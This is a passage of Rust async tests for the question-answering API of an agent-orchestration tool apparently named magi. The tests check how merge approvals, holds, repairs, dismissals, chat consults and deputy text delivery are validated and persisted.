12651        let fx = Fixture::start().await;
12652        let mut state = obsolete_approval_state();
12653        state.status = RunStatus::Landing;
12654        state.driver_exited = true;
12655        let mut q = Question::new(
12656            state.id.clone(),
12657            crate::land::APPROVAL_NODE.into(),
12658            "land".into(),
12659            "Obsolete approval".into(),
12660            String::new(),
12661            vec!["merge".into(), "hold".into()],
12662        );
12663        state.land_approval = Some(crate::run::LandApproval {
12664            question: q.id.clone(),
12665            head: "head".into(),
12666        });
12667        state.save_under(fx.home.path()).unwrap();
12668        fx.questions().put(&mut q).unwrap();
12669        let mut task = Task::new(
12670            "Owner".into(),
12671            "Original instruction".into(),
12672            state.repo.clone(),
12673            Source::Human,
12674        );
12675        task.runs = vec![state.id.clone(), "later-run".into()];
12676        fx.queue().put(&mut task).unwrap();
12677        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12678        let claim = fx.queue().claim(&task.id).unwrap();
12679        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12680        let path = format!("/api/questions/{}/answer", q.id);
12681        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12682        assert!(fx.questions().get(&q.id).unwrap().status.open());
12683        drop(claim);
12684        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12685        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12686        assert!(fx.questions().get(&q.id).unwrap().status.open());
12687        drop(publication);
12688        // Unknown liveness and armed auto-merge both fail without settling.
12689        state.driver_exited = false;
12690        state.driver_pid = None;
12691        state.driver_claimed = None; // No durable proof of an unstarted execution.
12692        state.save_under(fx.home.path()).unwrap();
12693        assert_eq!(
12694            state.liveness_under(fx.home.path(), false),
12695            crate::run::Liveness::Unknown
12696        );
12697
12698        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12699        state.driver_exited = true;
12700        state.land_armed_head = Some("head".into());
12701        state.save_under(fx.home.path()).unwrap();
12702        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12703        state.land_armed_head = None;
12704        state.save_under(fx.home.path()).unwrap();
12705        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12706        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12707        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12708    }
12709
12710    #[tokio::test]
12711    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12712        let fx = Fixture::start().await;
12713        let mut state = obsolete_approval_state();
12714        state.status = RunStatus::Landing;
12715        state.driver_exited = true;
12716        let mut q = Question::new(
12717            state.id.clone(),
12718            crate::land::APPROVAL_NODE.into(),
12719            "land".into(),
12720            "Obsolete approval".into(),
12721            String::new(),
12722            vec!["merge".into(), "hold".into()],
12723        );
12724        state.land_approval = Some(crate::run::LandApproval {
12725            question: q.id.clone(),
12726            head: "head".into(),
12727        });
12728        state.save_under(fx.home.path()).unwrap();
12729        fx.questions().put(&mut q).unwrap();
12730        let mut task = Task::new(
12731            "Owner".into(),
12732            "Original instruction".into(),
12733            state.repo.clone(),
12734            Source::Human,
12735        );
12736        task.runs.push(state.id.clone());
12737        task.status = TaskStatus::Parked;
12738        fx.queue().put(&mut task).unwrap();
12739        // Model a crash after the run stop was persisted but before the queue
12740        // and answered question were flushed. Retrying must finish, not resume.
12741        state.merge_decision = Some(crate::merge_decision::Decision {
12742            question: q.id.clone(),
12743            target: crate::merge_decision::Target {
12744                pr: state.pr.as_ref().unwrap().url.clone(),
12745                head: "head".into(),
12746                language: "ja".into(),
12747            },
12748            choice: crate::merge_decision::DISMISS.into(),
12749            closed: false,
12750            replacement_run: None,
12751            replacement_pr: None,
12752        });
12753        state.status = RunStatus::Superseded;
12754        state.save_under(fx.home.path()).unwrap();
12755        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12756        let path = format!("/api/questions/{}/answer", q.id);
12757        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12758        let done = fx.queue().get(&task.id).unwrap();
12759        assert_eq!(done.status, TaskStatus::Done);
12760        assert_eq!(done.runs, task.runs);
12761        assert_eq!(done.instruction, task.instruction);
12762        assert!(done.action_applied(&q.id));
12763        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12764        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12765        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12766    }
12767
12768    #[tokio::test]
12769    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12770        let home = TempDir::new().unwrap();
12771        let ui = Arc::new(Ui::new(
12772            Queue::at(home.path().join("queue")),
12773            Questions::at(home.path().join("questions")),
12774            Talks::at(home.path().join("talks")),
12775            home.path().join("runs"),
12776            home.path().to_owned(),
12777            home.path().to_owned(),
12778        ));
12779        let talks = &ui.talks;
12780        let chat =
12781            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12782        let mut q = Question::new(
12783            "run".into(),
12784            crate::land::APPROVAL_NODE.into(),
12785            "land".into(),
12786            "Merge?".into(),
12787            String::new(),
12788            vec!["merge".into(), "hold".into()],
12789        );
12790        q.routed_task = Some("task".into());
12791        q.routed_chat = Some(chat.id.clone());
12792        q.merge_target = Some(crate::merge_decision::Target {
12793            pr: "https://example.test/pull/1".into(),
12794            head: "head-a".into(),
12795            language: "en".into(),
12796        });
12797        ui.questions.put(&mut q).unwrap();
12798        let send = |body| {
12799            question_answer(
12800                State(ui.clone()),
12801                Path(q.id.clone()),
12802                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12803            )
12804        };
12805        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12806        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12807        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12808        assert!(send(wrong_chat).await.is_err());
12809        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12810        assert!(send(stale).await.is_err());
12811        assert!(ui.questions.get(&q.id).unwrap().status.open());
12812        assert!(send(button.clone()).await.is_ok());
12813        assert_eq!(
12814            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12815            Some("merge")
12816        );
12817        assert!(send(button).await.is_err());
12818    }
12819
12820    #[tokio::test]
12821    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12822        let home = TempDir::new().unwrap();
12823        let ui = Arc::new(Ui::new(
12824            Queue::at(home.path().join("queue")),
12825            Questions::at(home.path().join("questions")),
12826            Talks::at(home.path().join("talks")),
12827            home.path().join("runs"),
12828            home.path().to_owned(),
12829            home.path().to_owned(),
12830        ));
12831        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12832            let mut q = Question::new(
12833                "run".into(),
12834                crate::land::APPROVAL_NODE.into(),
12835                "land".into(),
12836                "Merge?".into(),
12837                String::new(),
12838                vec!["merge".into(), choice.into()],
12839            );
12840            q.routed_task = Some("task".into());
12841            q.merge_target = Some(crate::merge_decision::Target {
12842                pr: "https://example.test/pull/1".into(),
12843                head: "head-a".into(),
12844                language: "en".into(),
12845            });
12846            ui.questions.put(&mut q).unwrap();
12847            let answer = |c: &str| {
12848                question_answer(
12849                    State(ui.clone()),
12850                    Path(q.id.clone()),
12851                    Ok(Json(
12852                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12853                            .unwrap(),
12854                    )),
12855                )
12856            };
12857            let _ = answer(choice).await.unwrap();
12858            assert_eq!(
12859                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12860                Some(choice)
12861            );
12862        }
12863    }
12864
12865    #[tokio::test]
12866    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12867        let home = TempDir::new().unwrap();
12868        let ui = Arc::new(Ui::new(
12869            Queue::at(home.path().join("queue")),
12870            Questions::at(home.path().join("questions")),
12871            Talks::at(home.path().join("talks")),
12872            home.path().join("runs"),
12873            home.path().to_owned(),
12874            home.path().to_owned(),
12875        ));
12876        let mut q = Question::new(
12877            "run".into(),
12878            crate::github_text::ASK_NODE.into(),
12879            "posting-gate".into(),
12880            "Post?".into(),
12881            String::new(),
12882            vec!["use fallback".into()],
12883        );
12884        q.routed_task = Some("task".into());
12885        ui.questions.put(&mut q).unwrap();
12886        let sent = question_answer(
12887            State(ui.clone()),
12888            Path(q.id.clone()),
12889            Ok(Json(
12890                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12891                    .unwrap(),
12892            )),
12893        )
12894        .await;
12895        let _ = sent.unwrap();
12896        assert_eq!(
12897            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12898            Some("use fallback")
12899        );
12900    }
12901
12902    #[tokio::test]
12903    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12904        let fx = Fixture {
12905            home: TempDir::new().unwrap(),
12906            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12907        };
12908        for choice in [
12909            crate::land::HOLD,
12910            crate::land::REPAIR,
12911            crate::land::APPROVE,
12912            crate::merge_decision::WITHDRAW,
12913            "reimplement:beta",
12914        ] {
12915            let mut q = Question::new(
12916                "old-run".into(),
12917                crate::land::APPROVAL_NODE.into(),
12918                "land".into(),
12919                "Decision".into(),
12920                "Review findings".into(),
12921                vec![
12922                    "merge".into(),
12923                    "hold".into(),
12924                    crate::land::REPAIR.into(),
12925                    crate::merge_decision::WITHDRAW.into(),
12926                    "reimplement:beta".into(),
12927                ],
12928            );
12929            q.merge_target = Some(crate::merge_decision::Target {
12930                pr: "https://github.com/example/repo/pull/42".into(),
12931                head: "exact-reviewed-head".into(),
12932                language: "ja".into(),
12933            });
12934            q.consult = Some(ask::ChatConsult {
12935                talk: "another-conversation".into(),
12936                at: jiff::Timestamp::now(),
12937            });
12938            fx.questions().put(&mut q).unwrap();
12939            let ui = Arc::new(Ui::new(
12940                fx.queue(),
12941                fx.questions(),
12942                fx.talks(),
12943                fx.runs(),
12944                fx.home.path().into(),
12945                std::path::PathBuf::from("."),
12946            ));
12947            let response = question_answer(
12948                State(ui.clone()),
12949                Path(q.id.clone()),
12950                Ok(Json(NewAnswer {
12951                    choice: Some(choice.into()),
12952                    text: None,
12953                    ..Default::default()
12954                })),
12955            )
12956            .await
12957            .unwrap();
12958            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12959            let disk = fx.questions().get(&q.id).unwrap();
12960            assert_eq!(disk.merge_target, q.merge_target);
12961            assert_eq!(disk.consult, q.consult);
12962            assert_eq!(disk.resolution().as_deref(), Some(choice));
12963            assert!(
12964                question_answer(
12965                    State(ui),
12966                    Path(q.id.clone()),
12967                    Ok(Json(NewAnswer {
12968                        choice: Some("merge".into()),
12969                        text: None,
12970                        ..Default::default()
12971                    }))
12972                )
12973                .await
12974                .is_err(),
12975                "an already settled decision cannot turn into merge approval"
12976            );
12977        }
12978    }
12979
12980    #[tokio::test]
12981    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12982        let fx = Fixture {
12983            home: TempDir::new().unwrap(),
12984            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12985        };
12986        let mut state = crate::land::tests::repair_state(true, true);
12987        state.status = RunStatus::Landing;
12988        state.parked = true;
12989        state.driver_exited = true;
12990        let mut task = Task::new(
12991            "Existing PR owner".into(),
12992            state.instruction.clone(),
12993            state.repo.clone(),
12994            Source::Human,
12995        );
12996        task.runs.push(state.id.clone());
12997        task.status = TaskStatus::Parked;
12998        fx.queue().put(&mut task).unwrap();
12999        let mut q = Question::new(
13000            state.id.clone(),
13001            crate::land::APPROVAL_NODE.into(),
13002            "land".into(),
13003            "Contested merge".into(),
13004            "Original evidence".into(),
13005            vec!["merge".into(), "hold".into()],
13006        );
13007        state.land_approval = Some(crate::run::LandApproval {
13008            question: q.id.clone(),
13009            head: "reviewed-head".into(),
13010        });
13011        state.save_under(fx.home.path()).unwrap();
13012        fx.questions().put(&mut q).unwrap();
13013        // A later repair answer on this old card supersedes this manual hold.
13014        task.hold_manual(Some("Pause this PR".into()));
13015        fx.queue().put(&mut task).unwrap();
13016        // POST directly, without a preceding GET: validation must see the
13017        // same durable upgrade that the card, CLI and chat see.
13018        let ui = Arc::new(Ui::new(
13019            fx.queue(),
13020            fx.questions(),
13021            fx.talks(),
13022            fx.runs(),
13023            fx.home.path().to_path_buf(),
13024            state.repo.clone(),
13025        ));
13026        let response = question_answer(
13027            State(ui),
13028            Path(q.id.clone()),
13029            Ok(Json(NewAnswer {
13030                choice: Some(crate::land::REPAIR.into()),
13031                text: None,
13032                ..Default::default()
13033            })),
13034        )
13035        .await
13036        .unwrap();
13037        assert_eq!(response.0.question.id, q.id);
13038        let upgraded = fx.questions().get(&q.id).unwrap();
13039        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13040        assert!(upgraded.detail.starts_with("Original evidence"));
13041        let claim = fx.queue().claim(&task.id).unwrap();
13042        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13043        assert!(
13044            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13045            "an existing driver keeps its claim"
13046        );
13047        drop(claim);
13048        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13049        let resumed = fx.queue().get(&task.id).unwrap();
13050        assert_eq!(
13051            resumed
13052                .resume_override
13053                .as_ref()
13054                .unwrap()
13055                .pinned_run
13056                .as_deref(),
13057            Some(state.id.as_str())
13058        );
13059        assert!(resumed.status.runnable());
13060        assert_eq!(resumed.instruction, task.instruction);
13061        assert_eq!(resumed.runs, task.runs);
13062        assert!(resumed.action_applied(&q.id));
13063        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13064        assert_eq!(fx.queue().list().len(), 1);
13065        assert_eq!(
13066            fx.queue().get(&task.id).unwrap().resume_override,
13067            resumed.resume_override
13068        );
13069        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13070        assert!(
13071            disk.merge_repairs.is_empty(),
13072            "only the claimed run driver may execute repair"
13073        );
13074        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13075    }
13076
13077    #[tokio::test]
13078    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13079        let fx = Fixture::start().await;
13080        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13081        let path = format!("/api/questions/{id}/answer");
13082
13083        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13084        assert_eq!(res.status, 200, "{}", res.body);
13085        let body = res.json();
13086        assert_eq!(body["status"], "answered");
13087        assert_eq!(body["answer"]["choice"], "Redis");
13088
13089        // Answered from the terminal in between the list and the tap: the UI
13090        // must be able to tell this from a bad request, so it can show the
13091        // recorded answer instead of an error.
13092        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13093        assert_eq!(again.status, 409, "{}", again.body);
13094        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13095    }
13096
13097    #[tokio::test]
13098    async fn fresh_api_answers_survive_task_inquiry_migration() {
13099        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13100        for migrate_first in [false, true] {
13101            let fx = Fixture::start().await;
13102            let mut task = Task::new(
13103                "work".into(),
13104                "work".into(),
13105                PathBuf::from("/repo/magi"),
13106                Source::Human,
13107            );
13108            task.runs.push("run-a".into());
13109            fx.queue().put(&mut task).unwrap();
13110            let mut q = Question::new(
13111                "run-a".into(),
13112                "implement".into(),
13113                "impl-A".into(),
13114                "Keep held?".into(),
13115                String::new(),
13116                vec!["hold".into()],
13117            );
13118            q.actions.insert("hold".into(), ChoiceAction::Hold);
13119            fx.questions().put(&mut q).unwrap();
13120            if migrate_first {
13121                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13122            }
13123            let response = fx
13124                .post(
13125                    &format!("/api/questions/{}/answer", q.id),
13126                    Some(r#"{"choice":"hold"}"#),
13127                )
13128                .await;
13129            assert_eq!(response.status, 200, "{}", response.body);
13130            for _ in 0..2 {
13131                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13132                let source = fx.questions().get(&q.id).unwrap();
13133                assert_eq!(source.resolution().as_deref(), Some("hold"));
13134                let decision = Outbox::at(fx.home.path())
13135                    .get(&q.id)
13136                    .unwrap()
13137                    .decision
13138                    .unwrap();
13139                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13140                assert_eq!(decision.source_answer_at, source.answered_at);
13141                assert_eq!(decision.status, Status::Queued);
13142            }
13143            assert_eq!(
13144                fx.post(
13145                    &format!("/api/questions/{}/answer", q.id),
13146                    Some(r#"{"choice":"hold"}"#)
13147                )
13148                .await
13149                .status,
13150                409
13151            );
13152        }
13153    }
13154
13155    #[tokio::test]
13156    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13157        let home = tempfile::tempdir().unwrap();
13158        let ui = delta_test_ui(home.path());
13159        let mut q = Question::new(
13160            "task".into(),
13161            crate::land::APPROVAL_NODE.into(),
13162            "land".into(),
13163            "Explain?".into(),
13164            String::new(),
13165            vec!["hold".into()],
13166        );
13167        q.deputy = Some(ask::Deputy::new("context".into()));
13168        ui.questions.put(&mut q).unwrap();
13169        let mut cfg = stub_config();
13170        cfg.daemon.max_deputies = 0;
13171        let mut status = crate::daemon::Status::new();
13172        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13173        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13174        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13175        let error = question_say(
13176            State(ui.clone()),
13177            Path(q.id.clone()),
13178            Ok(Json(NewSay {
13179                body: "Explain the findings".into(),
13180            })),
13181        )
13182        .await
13183        .unwrap_err();
13184        assert_eq!(
13185            error.text_reason,
13186            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13187        );
13188        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13189
13190        let mut text = Question::new(
13191            "task".into(),
13192            "ask".into(),
13193            "operator".into(),
13194            "Which name?".into(),
13195            String::new(),
13196            vec![],
13197        );
13198        ui.questions.put(&mut text).unwrap();
13199        let Json(view) = question_answer(
13200            State(ui.clone()),
13201            Path(text.id.clone()),
13202            Ok(Json(NewAnswer {
13203                choice: None,
13204                text: Some("chosen name".into()),
13205                ..Default::default()
13206            })),
13207        )
13208        .await
13209        .unwrap();
13210        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13211        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13212    }
13213
13214    #[tokio::test]
13215    async fn question_text_handler_admission_without_transport() {
13216        let home = tempfile::tempdir().unwrap();
13217        let ui = delta_test_ui(home.path());
13218        let mut q = Question::new(
13219            "task".into(),
13220            crate::land::APPROVAL_NODE.into(),
13221            "land".into(),
13222            "May this PR merge?".into(),
13223            String::new(),
13224            vec!["hold".into()],
13225        );
13226        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13227        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13228        ui.questions.put(&mut q).unwrap();
13229        let say = || {
13230            Ok(Json(NewSay {
13231                body: "Explain the findings".into(),
13232            }))
13233        };
13234        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13235            .await
13236            .unwrap_err();
13237        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13238        let response = rejected.into_response();
13239        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13240            .await
13241            .unwrap();
13242        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13243        assert_eq!(body["code"], "question_text_unavailable");
13244        assert_eq!(body["reason"], "deputy_exhausted");
13245        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13246        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13247        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13248        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13249            .await
13250            .unwrap();
13251        assert_eq!(view.text_delivery.state, "live");
13252        assert!(view.question.waiter.is_none());
13253        assert!(view.question.cwd.is_none());
13254        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13255        ui.questions.drop_lease(&q.id);
13256        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13257            .await
13258            .unwrap_err();
13259        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13260        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13261        let _ = question_answer(
13262            State(ui.clone()),
13263            Path(q.id.clone()),
13264            Ok(Json(NewAnswer {
13265                choice: Some("hold".into()),
13266                text: None,
13267                ..Default::default()
13268            })),
13269        )
13270        .await
13271        .unwrap();
13272        assert_eq!(
13273            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13274            Some("hold")
13275        );
13276    }
13277
13278    #[tokio::test]
13279    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13280        let fx = Fixture::start().await;
13281        let store = fx.questions();
13282        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13283        store
13284            .update(&id, |q| {
13285                q.node = crate::land::APPROVAL_NODE.to_owned();
13286                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13287                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13288                Ok(())
13289            })
13290            .unwrap();
13291        let path = format!("/api/questions/{id}/say");
13292        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13293        assert_eq!(refused.status, 422, "{}", refused.body);
13294        assert!(
13295            refused.json()["error"]
13296                .as_str()
13297                .unwrap()
13298                .contains("deputy_exhausted")
13299        );
13300        assert!(store.get(&id).unwrap().thread.is_empty());
13301
13302        // A final live deputy is usable even with no ordinary waiter/cwd.
13303        store.beat(&id, ask::WaiterKind::Deputy);
13304        let view = fx.get("/api/questions").await.json();
13305        assert_eq!(view[0]["text_delivery"]["state"], "live");
13306        let accepted = fx
13307            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13308            .await;
13309        assert_eq!(accepted.status, 200, "{}", accepted.body);
13310        let before = std::fs::read(store.path_of(&id)).unwrap();
13311
13312        // The recipient exits between rendering and sending. Rejection must
13313        // preserve previously accepted text, the answer and delivery cursor.
13314        store.drop_lease(&id);
13315        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13316        assert_eq!(refused.status, 422, "{}", refused.body);
13317        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13318        let held = fx
13319            .post(
13320                &format!("/api/questions/{id}/answer"),
13321                Some(r#"{"choice":"hold"}"#),
13322            )
13323            .await;
13324        assert_eq!(held.status, 200, "{}", held.body);
13325        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13326    }
13327
13328    #[tokio::test]
13329    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13330        let repo = tempfile::tempdir().unwrap();
13331        let mut cfg = stub_config();
13332        cfg.daemon.max_deputies = 0;
13333        std::fs::write(
13334            repo.path().join("magi.toml"),
13335            toml::to_string(&cfg).unwrap(),
13336        )
13337        .unwrap();
13338        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13339        let mut status = crate::daemon::Status::new();
13340        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13341        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13342        let id = ask(&fx, "Explain?", &["hold"]);
13343        fx.questions()
13344            .update(&id, |q| {
13345                q.node = crate::land::APPROVAL_NODE.into();
13346                q.deputy = Some(ask::Deputy::new("context".into()));
13347                q.deputy.as_mut().unwrap().agent = "stub".into();
13348                Ok(())
13349            })
13350            .unwrap();
13351        cfg.daemon.max_deputies = 1;
13352        std::fs::write(
13353            repo.path().join("magi.toml"),
13354            toml::to_string(&cfg).unwrap(),
13355        )
13356        .unwrap();
13357        let view = fx.get("/api/questions").await.json();
13358        assert_eq!(view[0]["deputies_enabled"], true);
13359        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13360        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13361        let res = fx
13362            .post(
13363                &format!("/api/questions/{id}/say"),
13364                Some(r#"{"body":"Please explain"}"#),
13365            )
13366            .await;
13367        assert_eq!(res.status, 422, "{}", res.body);
13368        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13369    }
13370
13371    #[tokio::test]
13372    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13373        let fx = Fixture::start().await;
13374        let id = ask(&fx, "No seat", &[]);
13375        let store = fx.questions();
13376        let before = std::fs::read(store.path_of(&id)).unwrap();
13377        let res = fx
13378            .post(
13379                &format!("/api/questions/{id}/say"),
13380                Some(r#"{"body":"hello"}"#),
13381            )
13382            .await;
13383        assert_eq!(res.status, 422, "{}", res.body);
13384        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13385        let res = fx
13386            .post(
13387                &format!("/api/questions/{id}/answer"),
13388                Some(r#"{"text":"hello"}"#),
13389            )
13390            .await;
13391        assert_eq!(res.status, 200, "{}", res.body);
13392        assert_eq!(
13393            store.get(&id).unwrap().resolution().as_deref(),
13394            Some("hello")
13395        );
13396    }
13397
13398    #[tokio::test]
13399    async fn saying_something_appends_a_turn_without_answering() {
13400        let fx = Fixture::start().await;
13401        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13402        fx.questions().beat(&id, ask::WaiterKind::Asker);
13403        let path = format!("/api/questions/{id}/say");
13404
13405        let res = fx
13406            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13407            .await;
13408        assert_eq!(res.status, 200, "{}", res.body);
13409        let body = res.json();
13410        assert_eq!(body["status"], "open", "talking back is not a decision");
13411        assert_eq!(body["answer"], Value::Null);
13412        assert_eq!(body["thread"][0]["who"], "operator");
13413        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13414        assert_eq!(body["waiting_on_agent"], true);
13415        // Still open, still counted, still exactly one question.
13416        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13417    }
13418
13419    #[tokio::test]
13420    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13421        let fx = Fixture::start().await;
13422        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13423
13424        let list = fx.get("/api/questions").await.json();
13425        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13426
13427        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13428        assert_eq!(res.status, 409, "{}", res.body);
13429        let q = fx.questions().get(&id).unwrap();
13430        assert!(q.status.open());
13431        assert!(q.consult.is_none());
13432    }
13433
13434    #[tokio::test]
13435    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13436        let fx = Fixture::start().await;
13437        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13438        let cfg = Config {
13439            agents: vec![crate::config::AgentSpec {
13440                id: "mock".to_owned(),
13441                kind: crate::config::AgentKind::Command,
13442                model: None,
13443                command: vec!["true".to_owned()],
13444                extra_args: Vec::new(),
13445                env: Default::default(),
13446                prompt_delivery: None,
13447                max_turn_secs: None,
13448            }],
13449            ..Config::default()
13450        };
13451        let talk = crate::talk::begin(
13452            &fx.talks(),
13453            &cfg,
13454            fx.home.path().to_path_buf(),
13455            Some("mock"),
13456        )
13457        .unwrap();
13458        let mut task = Task::new(
13459            "t".to_owned(),
13460            "Do it".to_owned(),
13461            PathBuf::from("/repo/magi"),
13462            Source::Agent {
13463                run: talk.id.clone(),
13464                node: crate::queue::CHAT_NODE.to_owned(),
13465            },
13466        );
13467        task.start("20260902-000000-beef".to_owned());
13468        fx.queue().put(&mut task).unwrap();
13469
13470        let list = fx.get("/api/questions").await.json();
13471        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13472        assert_eq!(
13473            list[0]["choices"],
13474            serde_json::json!(["SQLite", "Redis"]),
13475            "the hand-over is never a choice"
13476        );
13477        fx.questions()
13478            .update(&id, |q| {
13479                q.node = crate::land::APPROVAL_NODE.into();
13480                q.choices = vec!["merge".into(), "hold".into()];
13481                Ok(())
13482            })
13483            .unwrap();
13484        let list = fx.get("/api/questions").await.json();
13485        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13486        assert_eq!(list[0]["can_consult_chat"], true);
13487        fx.questions()
13488            .update(&id, |q| {
13489                q.node = crate::bump::NOTICE_NODE.into();
13490                Ok(())
13491            })
13492            .unwrap();
13493        let list = fx.get("/api/questions").await.json();
13494        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13495        assert_eq!(list[0]["can_consult_chat"], false);
13496    }
13497
13498    #[tokio::test]
13499    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13500        let fx = Fixture::start().await;
13501        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13502        fx.questions()
13503            .update(&id, |q| {
13504                q.node = crate::land::APPROVAL_NODE.into();
13505                q.choices = vec!["merge".into(), "hold".into()];
13506                Ok(())
13507            })
13508            .unwrap();
13509        let cfg = Config {
13510            agents: vec![crate::config::AgentSpec {
13511                id: "mock".to_owned(),
13512                kind: crate::config::AgentKind::Command,
13513                model: None,
13514                command: vec!["true".to_owned()],
13515                extra_args: Vec::new(),
13516                env: Default::default(),
13517                prompt_delivery: None,
13518                max_turn_secs: None,
13519            }],
13520            ..Config::default()
13521        };
13522        // Not a git working tree, so its `magi.toml` is read from disk.
13523        let repo = fx.home.path().join("chat-repo");
13524        std::fs::create_dir_all(&repo).unwrap();
13525        let toml = repo.join("magi.toml");
13526        std::fs::write(&toml, "this is = = not toml").unwrap();
